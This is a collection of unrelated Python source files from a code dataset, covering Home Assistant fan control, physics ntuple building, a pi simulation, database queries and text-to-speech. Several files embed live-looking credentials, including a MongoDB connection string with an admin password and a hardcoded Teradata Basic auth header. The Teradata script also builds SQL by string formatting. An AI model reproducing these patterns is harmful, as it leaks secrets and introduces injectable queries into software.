logging.getLogger(__name__)\n\n# Additional speeds in zigbee's ZCL\n# Spec is unclear as to what this value means. On King Of Fans HBUniversal\n# receiver, this means Very High.\nSPEED_ON = 'on'\n# The fan speed is self-regulated\nSPEED_AUTO = 'auto'\n# When the heated/cooled space is occupied, the fan is always on\nSPEED_SMART = 'smart'\n\nSPEED_LIST = [\n SPEED_OFF,\n SPEED_LOW,\n SPEED_MEDIUM,\n SPEED_HIGH,\n SPEED_ON,\n SPEED_AUTO,\n SPEED_SMART\n]\n\nVALUE_TO_SPEED = {i: speed for i, speed in enumerate(SPEED_LIST)}\nSPEED_TO_VALUE = {speed: i for i, speed in enumerate(SPEED_LIST)}\n\n\nasync def async_setup_platform(hass, config, async_add_entities,\n discovery_info=None):\n \"\"\"Old way of setting up Zigbee Home Automation fans.\"\"\"\n pass\n\n\nasync def async_setup_entry(hass, config_entry, async_add_entities):\n \"\"\"Set up the Zigbee Home Automation fan from config entry.\"\"\"\n async def async_discover(discovery_info):\n await _async_setup_entities(hass, config_entry, async_add_entities,\n [discovery_info])\n\n unsub = async_dispatcher_connect(\n hass, ZHA_DISCOVERY_NEW.format(DOMAIN), async_discover)\n hass.data[DATA_ZHA][DATA_ZHA_DISPATCHERS].append(unsub)\n\n fans = hass.data.get(DATA_ZHA, {}).get(DOMAIN)\n if fans is not None:\n await _async_setup_entities(hass, config_entry, async_add_entities,\n fans.values())\n del hass.data[DATA_ZHA][DOMAIN]\n\n\nasync def _async_setup_entities(hass, config_entry, async_add_entities,\n discovery_infos):\n \"\"\"Set up the ZHA fans.\"\"\"\n entities = []\n for discovery_info in discovery_infos:\n entities.append(ZhaFan(**discovery_info))\n\n async_add_entities(entities, update_before_add=True)\n\n\nclass ZhaFan(ZhaEntity, FanEntity):\n \"\"\"Representation of a ZHA fan.\"\"\"\n\n _domain = DOMAIN\n\n @property\n def supported_features(self) -> int:\n \"\"\"Flag supported features.\"\"\"\n return SUPPORT_SET_SPEED\n\n @property\n def speed_list(self) -> list:\n \"\"\"Get the list of available speeds.\"\"\"\n return SPEED_LIST\n\n @property\n def speed(self) -> str:\n \"\"\"Return the current speed.\"\"\"\n return self._state\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return true if entity is on.\"\"\"\n if self._state is None:\n return False\n return self._state != SPEED_OFF\n\n async def async_turn_on(self, speed: str = None, **kwargs) -> None:\n \"\"\"Turn the entity on.\"\"\"\n if speed is None:\n speed = SPEED_MEDIUM\n\n await self.async_set_speed(speed)\n\n async def async_turn_off(self, **kwargs) -> None:\n \"\"\"Turn the entity off.\"\"\"\n await self.async_set_speed(SPEED_OFF)\n\n async def async_set_speed(self, speed: str) -> None:\n \"\"\"Set the speed of the fan.\"\"\"\n from zigpy.exceptions import DeliveryError\n try:\n await self._endpoint.fan.write_attributes(\n {'fan_mode': SPEED_TO_VALUE[speed]}\n )\n except DeliveryError as ex:\n _LOGGER.error(\"%s: Could not set speed: %s\", self.entity_id, ex)\n return\n\n self._state = speed\n self.async_schedule_update_ha_state()\n\n async def async_update(self):\n \"\"\"Retrieve latest state.\"\"\"\n result = await helpers.safe_read(self._endpoint.fan, ['fan_mode'],\n allow_cache=False,\n only_cache=(not self._initialized))\n new_value = result.get('fan_mode', None)\n self._state = VALUE_TO_SPEED.get(new_value, None)\n\n @property\n def should_poll(self) -> bool:\n \"\"\"Return True if entity has to be polled for state.\n\n False if entity pushes its state to HA.\n \"\"\"\n return False\n", "sub_path": "homeassistant/components/fan/zha.py", "file_name": "zha.py", "file_ext": "py", "file_size_in_byte": 4529, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "homeassistant.components.fan.SPEED_OFF", "line_number": 32, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_LOW", "line_number": 33, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_MEDIUM", "line_number": 34, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_HIGH", "line_number": 35, "usage_type": "name"}, {"api_name": "homeassistant.helpers.dispatcher.async_dispatcher_connect", "line_number": 57, "usage_type": "call"}, {"api_name": "homeassistant.components.zha.const.ZHA_DISCOVERY_NEW.format", "line_number": 58, "usage_type": "call"}, {"api_name": "homeassistant.components.fan.DOMAIN", "line_number": 58, "usage_type": "argument"}, {"api_name": "homeassistant.components.zha.const.ZHA_DISCOVERY_NEW", "line_number": 58, "usage_type": "name"}, {"api_name": "homeassistant.components.zha.const.DATA_ZHA", "line_number": 59, "usage_type": "name"}, {"api_name": "homeassistant.components.zha.const.DATA_ZHA_DISPATCHERS", "line_number": 59, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.DOMAIN", "line_number": 61, "usage_type": "argument"}, {"api_name": "homeassistant.components.zha.const.DATA_ZHA", "line_number": 61, "usage_type": "argument"}, {"api_name": "homeassistant.components.zha.const.DATA_ZHA", "line_number": 65, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.DOMAIN", "line_number": 65, "usage_type": "name"}, {"api_name": "homeassistant.components.zha.entities.ZhaEntity", "line_number": 78, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.FanEntity", "line_number": 78, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.DOMAIN", "line_number": 81, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SUPPORT_SET_SPEED", "line_number": 86, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_OFF", "line_number": 103, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_MEDIUM", "line_number": 108, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_OFF", "line_number": 114, "usage_type": "argument"}, {"api_name": "zigpy.exceptions.DeliveryError", "line_number": 123, "usage_type": "name"}, {"api_name": "homeassistant.components.zha.helpers.safe_read", "line_number": 132, "usage_type": "call"}, {"api_name": "homeassistant.components.zha.helpers", "line_number": 132, "usage_type": "name"}]} {"seq_id": "85673038", "text": "# Copyright 2018 by Nick Zaccardi\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Test unicode_literals in python2 invalidating headers which come as Unicode values\"\"\"\nfrom __future__ import unicode_literals\n\nimport pytest\n\nimport falcon\nfrom falcon.testing import TestClient\n\n\n@pytest.mark.parametrize(\n 'auth_header',\n [u'token blah', 'token blah']\n)\ndef test_test_client_works_in_py2(auth_header):\n app = falcon.API()\n client = TestClient(app)\n client.simulate_get('/', headers={\n 'Authorization': auth_header\n })\n", "sub_path": "tests/test_py2_wsgi.py", "file_name": "test_py2_wsgi.py", "file_ext": "py", "file_size_in_byte": 1042, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "falcon.API", "line_number": 28, "usage_type": "call"}, {"api_name": "falcon.testing.TestClient", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 23, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "93641446", "text": "import logging\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(levelname)s %(message)s',\n filename='bkp.log',\n filemode='w')\nfor i in range(10):\n logging.info(\"Number:%s\"%(str(i)))\ntry:\n 1/0\nexcept:\n logging.error(\"This is error\",exc_info=True)", "sub_path": "modules/logging_examples/for_gen_num.py", "file_name": "for_gen_num.py", "file_ext": "py", "file_size_in_byte": 326, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.basicConfig", "line_number": 2, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 2, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 11, "usage_type": "call"}]} {"seq_id": "182965390", "text": "# Provides db access\n\nimport postgresql\nimport string\n\naccess = {\n 'user':'python',\n 'password':'password',\n 'host':'localhost',\n 'port':'5432',\n 'database':'shares'\n }\n \nclass db(object):\n _db = None\n \n def __init__(self):\n connectstring=string.Template('pq://$user:$password@$host:$port/$database').\\\n safe_substitute(access)\n try:\n print(\"Connecting to:\", connectstring)\n self._db = postgresql.open(connectstring)\n except:\n raise\n \n def execute_file(self, path):\n \"\"\"Executes a given SQL file\"\"\"\n with open(path) as f:\n try:\n return self._db.execute(f.read())\n except:\n raise\n \n def execute(self, cmd):\n try:\n return self._db.execute(cmd)\n except:\n raise\n \n def xact(self):\n try:\n return self._db.xact()\n except:\n raise\n \n def prepare(self, cmd):\n try:\n return self._db.prepare(cmd)\n except:\n raise\n\n_db = db()\n\ndef db(): return _db\n\n \nif __name__ == '__main__':\n # db().execute_file('C:\\dev\\shares\\sql\\schema.sql')\n con = db()\n res = con.prepare('select * from share')\n with con.xact():\n for row in res:\n print(row)\n ", "sub_path": "python/db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "string.Template", "line_number": 18, "usage_type": "call"}, {"api_name": "postgresql.open", "line_number": 22, "usage_type": "call"}]} {"seq_id": "417308808", "text": "from root_pandas import read_root\nimport uproot as ur\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport ROOT\nimport array\n\n#Build ROOT ntuple from combined dataframe\ndef make_ntuple(SKB_input, tpc_input, study_indices, output_file):\n df = make_combined_dataframe(SKB_input,tpc_input,study_indices)\n keys = [val for val in df.columns]\n output = ROOT.TFile(output_file, 'recreate')\n tout = ROOT.TTree('tout','tout')\n branches = {}\n data={}\n \n for key in keys:\n if df[key].dtype == \"O\": #Determines the size of an array in a dataframe to be pushed to ntuple\n npoints = len(df[key][0])\n data[key]=array.array('d',[0 for j in range(0,npoints)])\n branches[key]=tout.Branch(\"%s\"%(key), data[key], \"%s[%s]/D\"%(key,npoints))\n else:\n data[key]=array.array('d',[0])\n branches[key]=tout.Branch(\"%s\"%(key), data[key], \"%s/D\"%(key))\n\n for j in range(0,len(df)):\n for key in keys:\n if df[key].dtype == \"O\":\n npoints = len(df[key][0])\n for i in range(0,npoints):\n data[key][i]=df[key][j][i]\n else:\n data[key][0]=df[key][j]\n tout.Fill()\n\n output.Write()\n output.Close()\n\n#Merge TPC and SKB dataframes\ndef make_combined_dataframe(SKB_input,tpc_input,study_indices):\n df_SKB = make_SKB_dataframe(SKB_input)\n SKB_ts = df_SKB['ts'].to_numpy()\n dfs = {} #dictionary of dataframes\n neutron_counts = {} #dictionary of neutron counts for each TPC to be merged with df_SKB\n module_id = [key for key in tpc_input.keys()] #keys of tpc_input are defined to be module_ids\n for module in module_id:\n dfs[module] = make_TPC_dataframe(tpc_input, module)\n neutron_counts[module] = merge_TPC_rates_with_SKB(dfs[module], SKB_ts)\n df_SKB['%s_neutrons'%(module)] = neutron_counts[module]\n #df_SKB['Storage_Flag'] = [0 for i in range(0,len(df_SKB))]\n #df_SKB['Storage_Flag'][study_indices] = 1\n return df_SKB\n \n#Get TPC rates at SKB 1s time intervals\ndef merge_TPC_rates_with_SKB(df_TPC, ts_range):\n #if month == \"May\":\n # if side == \"BWD\":\n # df_TPC.timestamp_start = df_TPC.timestamp_start + 213 #to account for BWD TPCs being 213 seconds behind NTP. Fixxed for Autumn 2019 runs and beyond\n TPC_neutron_counts = []\n for i in range(0,len(ts_range)-1):\n if (ts_range[i+1]-ts_range[i]) <= 1.1:\n TPC_neutron_counts.append(len(df_TPC.loc[(df_TPC.timestamp_start > ts_range[i]) & (df_TPC.timestamp_start < ts_range[i+1])].index))\n else:\n TPC_neutron_counts.append(0)\n TPC_neutron_counts.append(0)\n return TPC_neutron_counts\n\n##Make TPC dataframe\ndef make_TPC_dataframe(tpc_input, module_id): #tpc_input is a dictionary of files with module_id's as keys\n #df_TPC = read_root(tpc_input[module_id], \"data\")\n #df_TPC['recoil_energy'] = df_TPC['recoil_energy']/1000\n df_TPC = ur.open(tpc_input[module_id])['data'].pandas.df(flatten = False)\n ekey = 'track_energy'\n df_TPC = df_TPC.loc[df_TPC[ekey]>8] #initial xray veto\n df_TPC.index = [i for i in range(0,len(df_TPC))]\n y = np.array([6,20,800])\n if module_id == 'iiwi':\n x = np.array([1200, 1900, 15000])\n elif module_id == 'humu':\n x = np.array([1950, 3000, 20000])\n elif module_id == 'nene':\n x = np.array([950, 1900, 15000])\n elif module_id == 'tako':\n x = np.array([1000, 1900, 15000])\n elif module_id == 'palila':\n x = np.array([1000, 1750, 15000])\n else:\n x = np.array([1050, 2000, 15000])\n cut = np.polyfit(x,y,2)\n df_TPC_neutron = df_TPC.loc[df_TPC[ekey] > (cut[0]*df_TPC['length']**2 + cut[1]*df_TPC['length']+cut[2])] \n #if module_id == 'humu':\n # cut_min = np.array([1.62248996e-06, 3.18554217e-03, 5.89558233e+00])\n #else:\n # cut_min = np.array([4.71887550e-06, 7.68072289e-03, 1.30522088e+00])\n #cut_max = np.array([6.15461847e-06, 3.04006024e-02, -1.94678715e+01])\n #ekey = 'full_corrected_energy'\n #df_TPC = df_TPC.loc[df_TPC[ekey]>10]\n #df_TPC_neutron = df_TPC.loc[df_TPC[ekey] > (cut_min[0]*df_TPC['length']**2 + cut_min[1]*df_TPC['length']+cut_min[2])]\n #df_TPC_neutron = df_TPC.iloc[df_TPC.loc[(df_TPC.track_energy < (0.7*df_TPC.length-75)) & (df_TPC.track_energy > (0.015*df_TPC.length-65)) & (df_TPC.track_energy > 20) & (df_TPC.hitside_col_min == 0) & (df_TPC.hitside_row_min == 0) & (df_TPC.hitside_col_max == 0) & (df_TPC.hitside_row_max == 0)].index] #dataframe for TPC nuclear recoils\n return df_TPC_neutron\n\n##Make dataframe of SKB variables relevant for study\ndef make_SKB_dataframe(SKB_input):\n #df_SKB = read_root(SKB_input)\n #df_SKB = df_SKB.drop(columns=['HE3', 'TPC'])\n df_SKB = ur.open(SKB_input)[ur.open(SKB_input).keys()[0]].pandas.df(flatten = False)\n df_SKB = df_SKB.sort_values(by = ['ts']) #order by ascending timestamp\n df_SKB.index = [i for i in range(0,len(df_SKB))]\n return df_SKB\n\n#Study indices is a parameter passed into the ntuple builder. It sets the storage flag for the combined ntuple.\n#User can define boolean expressions for appropriate background studies. Should come up with a more sophisticated way to do this in the future\ndef get_study_indices(month,day,ring):\n '''\n if month == \"May\": #Study indices for generating storage flag\n if day == \"11\":\n study_indices = [i for i in range(10586,12258)] + [i for i in range(12972,13828)] + [i for i in range(14443,14764)] + [i for i in range(15180,15508)] + [i for i in range(15658,16075)] + [i for i in range(16731,17178)] + [i for i in range(17667,18142)] + [i for i in range(18989,19496)] + [i for i in range(19923,20509)] + [i for i in range(21043,22085)] + [i for i in range(22465,25085)] + [i for i in range(25815,27231)] + [i for i in range(27531,27988)] + [i for i in range(29311,30599)]\n \n if day == \"12\":\n study_indices = [i for i in range(1598,2636)] + [i for i in range(2756,4425)] + [i for i in range(4655,5884)] + [i for i in range(7269,8552)] + [i for i in range(8672,10182)] + [i for i in range(10502,11544)] + [i for i in range(12381,12985)] + [i for i in range(13121,13911)] + [i for i in range(14086,14675)] + [i for i in range(15711,16753)] + [i for i in range(17013,17997)] + [i for i in range(18076,18951)] + [i for i in range(19896,20731)] + [i for i in range(20811,21645)] + [i for i in range(21805,22739)]\n\n if day == \"14\": #omitted indices (10838-11981) these have changing YaECK but they're in too short of bursts for TPC rates\n study_indices = [i for i in range(1202,2736)] + [i for i in range(2976,3729)] + [i for i in range(4317,5757)] + [i for i in range(6241,6514)] + [i for i in range(6704,7726)] + [i for i in range(8488,8651)] + [i for i in range(8831,10092)] + [i for i in range(12290,12974)] + [i for i in range(13154,13472)] + [i for i in range(13552,14069)] + [i for i in range(14179,14764)] + [i for i in range(14914,15410)]\n\n if month == \"Dec\":\n if ring == \"LER\":\n study_indices = [i for i in range(280,2190)] + [i for i in range(3920,5425)] + [i for i in range(6850,7665)] + [i for i in range(8345,8675)] + [i for i in range(9090,9420)] + [i for i in range(9820,10180)] + [i for i in range(10600,11040)] + [i for i in range(11600,13180)] + [i for i in range(13440,13810)] + [i for i in range(13960,14440)] + [i for i in range(14975,15185)] + [i for i in range(15360,15580)] + [i for i in range(15745,16050)] + [i for i in range(16775,18110)] + [i for i in range(18540,19610)] + [i for i in range(19980,21150)]\n if ring == \"HER\":\n study_indices = [i for i in range(580,2510)] + [i for i in range(3465,4930)] + [i for i in range(5560,7390)] + [i for i in range(8000,10030)] + [i for i in range(10375,12115)] + [i for i in range(14100,16075)] + [i for i in range(16700,18670)] + [i for i in range(22680,25354)]\n if ring ==\"LUMI\":\n study_indices = [i for i in range(0,23405)]\n '''\n study_indices = [i for i in range(0,34000)]\n return study_indices\n", "sub_path": "data_processing/make_combined_ntuple_module.py", "file_name": "make_combined_ntuple_module.py", "file_ext": "py", "file_size_in_byte": 8112, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "ROOT.TFile", "line_number": 13, "usage_type": "call"}, {"api_name": "ROOT.TTree", "line_number": 14, "usage_type": "call"}, {"api_name": "array.array", "line_number": 21, "usage_type": "call"}, {"api_name": "array.array", "line_number": 24, "usage_type": "call"}, {"api_name": "uproot.open", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 90, "usage_type": "call"}, {"api_name": "uproot.open", "line_number": 107, "usage_type": "call"}]} {"seq_id": "221514057", "text": "import datetime\n\n# 獲得2012.01.01~2018.12.31的時間\n\ndef gen_dates(b_date, days):\n day = datetime.timedelta(days=1)\n for i in range(days):\n yield b_date + day*i\n\n\ndef get_date_list(start=None, end=None):\n if start is None:\n start = datetime.datetime.strptime(\"2012-01-01\", \"%Y-%m-%d\")\n if end is None:\n end = datetime.datetime.strptime(\"2018-12-31\", \"%Y-%m-%d\")\n data = []\n for d in gen_dates(start, (end-start).days):\n data.append(d.strftime('%Y.%m.%d'))\n return data\n", "sub_path": "LoadMongodb/getDateRange.py", "file_name": "getDateRange.py", "file_ext": "py", "file_size_in_byte": 522, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.timedelta", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "attribute"}]} {"seq_id": "327799360", "text": "import matplotlib.pyplot as plt\nimport random\nrandom.seed(0)\n\ntrials = ['100', '1000', '5000', '10000']\nsquare_side = 2\ncircle_radius = 1.5\nsquare_height = 4\nsquare_width = 4\n\n# y-axis values for bar plot\ny_pi, y_error_value, y_area_circle = [], [], []\n\nfor i in trials:\n hits = 0\n # x-axis values, y-axis values for scatter plot\n x_circle, y_circle, x_square, y_square = [], [], [], []\n\n for j in range(int(i)):\n x = random.uniform(0, square_height)\n y = random.uniform(0, square_width)\n\n\n if((x-square_side)**2 + (y-square_side)**2)**.5 <= circle_radius:\n hits = hits + 1\n x_circle.append(x)\n y_circle.append(y)\n else:\n x_square.append(x)\n y_square.append(y)\n\n area_circle = square_height * square_width\n pi = (area_circle/circle_radius**2)*(hits/j) # here j=trails\n print(\"value of pi :\",pi)\n\n error_value = abs(pi - 3.1416)\n\n\n # plotting points as a scatter plot\n plt.scatter(x_circle, y_circle, color=\"red\", label=\"Hit points\")\n plt.scatter(x_square, y_square, color=\"green\", label=\"Miss points\")\n\n plt.legend()\n plt.show()\n\n y_pi.append(pi)\n y_error_value.append(error_value)\n y_area_circle.append(area_circle)\n\n# bar plot for trials vs pi values\nplt.bar(trials, y_pi)\nplt.show()\n\n# bar plot for trials vs error values\nplt.bar(trials, y_error_value)\nplt.show()\n\n# bar plot for trials vs area of circle\nplt.bar(trials, y_area_circle)\nplt.show()\n", "sub_path": "simulation_lab_3_assignment/q1.py", "file_name": "q1.py", "file_ext": "py", "file_size_in_byte": 1435, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.seed", "line_number": 3, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 20, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}]} {"seq_id": "110952932", "text": "import json\nimport base64\nimport http.client\n\nMIL_RESULTS_JSON = None\n\nwith open('mil_results.json') as j_file:\n MIL_RESULTS_JSON = json.load(j_file)\n\nQUERY_PATH = '/tdrest/systems/HackaSys/queries/'\n#auth = base64.encodestring(b'dbc:dbc').strip()\nauth = 'ZGJjOmRiYw=='\n\ndef do_sql_query(query):\n if callable(getattr(query, \"read\", None)):\n query = query.read()\n query_obj = {\n \"query\": query,\n \"format\": \"object\"\n }\n connection = http.client.HTTPConnection('sdlc6372.labs.teradata.com', 1080)\n connection.connect()\n connection.request('POST', QUERY_PATH, json.dumps(query_obj), {\n 'Content-type':\n 'application/json',\n 'Accept':\n 'application/vnd.com.teradata.rest-v1.0+json',\n 'Authorization':\n 'Basic {:}'.format(auth)\n })\n response = connection.getresponse()\n result = (response.status, response.read().decode('utf-8'))\n connection.close()\n return result\n\ndef do_csv_nonsense(csv):\n if callable(getattr(csv, \"read\", None)):\n csv = csv.read()\n lines = csv.split(sep='\\n')\n data_lines = lines[1:]\n cols = split_into_comma_separated_fields(lines[0])\n ret = []\n for line in data_lines:\n if not line:\n continue\n split_line = split_into_comma_separated_fields(line)\n ret += [dict(zip(cols[:], split_line))]\n return ret\n\ndef get_crime_query_for_year(year):\n BASE_STR = 'select count (*) FROM san_diego_crime.crime_incidents where \\\"date\\\"' + \" BETWEEN TO_DATE('{:}-01-01', 'yyyy-mm-dd') AND TO_DATE('{:}-12-31', 'yyyy-mm-dd')\"\n return BASE_STR.format(year, year)\n\ndef upload_to_table(values, table):\n BASE_QUERY = 'INSERT INTO {:} {:} VALUES {:}'\n for row in values:\n col_str = '('\n key_list = list(row.keys())\n for key in key_list[:-1]:\n col_str += key + ', '\n col_str += key_list[-1] + ')'\n val_str = '('\n for key in key_list[:-1]:\n val_str += \"'\" + row[key] + \"', \"\n val_str += row[key_list[-1]] + ')'\n final_query = BASE_QUERY.format(table, col_str, val_str)\n (status, result) = do_sql_query(final_query)\n print(status)\n print(result)\n\ndef get_employment_for_year(year):\n BASE_QUERY = \"SELECT * FROM hackathon_test_db.san_diego_employment WHERE yr='{:}'\".format(year)\n (_, res) = do_sql_query(BASE_QUERY)\n json_res = json.loads(res)\n if (json_res['results'] and json_res['results'][0] and json_res['results'][0]['data']):\n return json_res['results'][0]['data'][0]['employed']\n else:\n return 0\n\ndef split_into_comma_separated_fields(line):\n return list(map(lambda s: s.strip(), line.split(',')))\n\ndef get_crime_count_for_year(year):\n BASE_QUERY = \"SELECT * FROM hackathon_test_db.san_diego_crime WHERE yr='{:}'\".format(year)\n (status, result) = do_sql_query(BASE_QUERY)\n json_res = json.loads(result)\n if (json_res['results'] and json_res['results'][0] and json_res['results'][0]['data']):\n return json_res['results'][0]['data'][0]['total_crimes']\n\ndef get_crime_and_employment_for_year(year):\n crime = get_crime_count_for_year(year)\n employment = get_employment_for_year(year)\n return (crime, employment, year)\n\n#with open('sandiego_crime_data') as cfile:\n# upload_to_table(do_csv_nonsense(cfile), 'hackathon_test_db.san_diego_crime')\n\n#(stat, res) = do_sql_query(get_crime_query_for_year('2011'))\n#print(res)\n\nstart = input('enter a year for crime data start:')\nstop = input('enter a year for crime data end:')\n\nfor year in range(int(start), int(stop)+1):\n print(get_crime_and_employment_for_year(year))\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3699, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "json.load", "line_number": 8, "usage_type": "call"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 21, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 21, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 21, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 86, "usage_type": "call"}]} {"seq_id": "548366410", "text": "import requests\nimport json\nimport csv\nimport datetime\nfrom dateutil import parser\nfrom pymongo import MongoClient\nfrom random import randint\nfrom pprint import pprint\nimport dateutil\n\n#Conecta ao MongoDB\nclient = MongoClient('mongodb+srv://admin:admin123@cluster0-cdbu9.mongodb.net/test?retryWrites=true&w=majority')\ndb = client.contributions\n\ndate1 = datetime.datetime(2005,1,1,0,0)\ndate2 = date1\ndate2 = date2.replace(year=date1.year + 1)\nnum = 1\n\nwhile date1 < datetime.datetime.now():\n print(date1)\n print(date2)\n resultado = db.reviews.aggregate([\n {\"$match\" : {\n \"date_format\": { \n \"$gte\": date1,\n \"$lt\": date2\n }\n }\n },\n {\"$group\" : {\n \"_id\":{\"email\":\"$author.email\", \"name\":\"$author.name\"}, \n \"count\":{\"$sum\":1}}\n }\n ])\n\n name = 'coletas-django-authors-ano'+str(num)+'.csv'\n print(name)\n\n with open(name, 'w', newline='', encoding='utf-8') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=';')\n spamwriter.writerow(['Name', 'E-mail', 'Total'])\n \n for group in resultado:\n spamwriter.writerow([group['_id']['name'], group['_id']['email'], group['count']])\n \n date1 = date2\n date2 = date2.replace(year=date1.year + 1)\n num = num + 1\n\n\n\n\n\n\n", "sub_path": "Coleta_Dados/Scripts/django/03-group-date-ano-django.py", "file_name": "03-group-date-ano-django.py", "file_ext": "py", "file_size_in_byte": 1339, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymongo.MongoClient", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 41, "usage_type": "call"}]} {"seq_id": "343663838", "text": "# -*- coding: utf-8 -*-\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nfrom gtts import gTTS\nfrom pygame import mixer\nfrom pygame import time\nfrom tempfile import TemporaryFile\n\n\nclass mGTTs:\n def __init__(self):\n pass\n\n def run(self, text):\n # pygame.init()\n mixer.init()\n sf = TemporaryFile()\n \n tts = gTTS(text=text, lang='ko')\n \n clock = time.Clock()\n tts.write_to_fp(sf)\n sf.seek(0)\n mixer.music.load(sf)\n mixer.music.play()\n\n while mixer.music.get_busy()==True:\n clock.tick(1000)\n print( mixer.music.get_busy())\n \n def stop(self):\n mixer.music.stop()\n \n\n \n \n\n", "sub_path": "mGTTs.py", "file_name": "mGTTs.py", "file_ext": "py", "file_size_in_byte": 717, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.setdefaultencoding", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.mixer.init", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 17, "usage_type": "name"}, {"api_name": "tempfile.TemporaryFile", 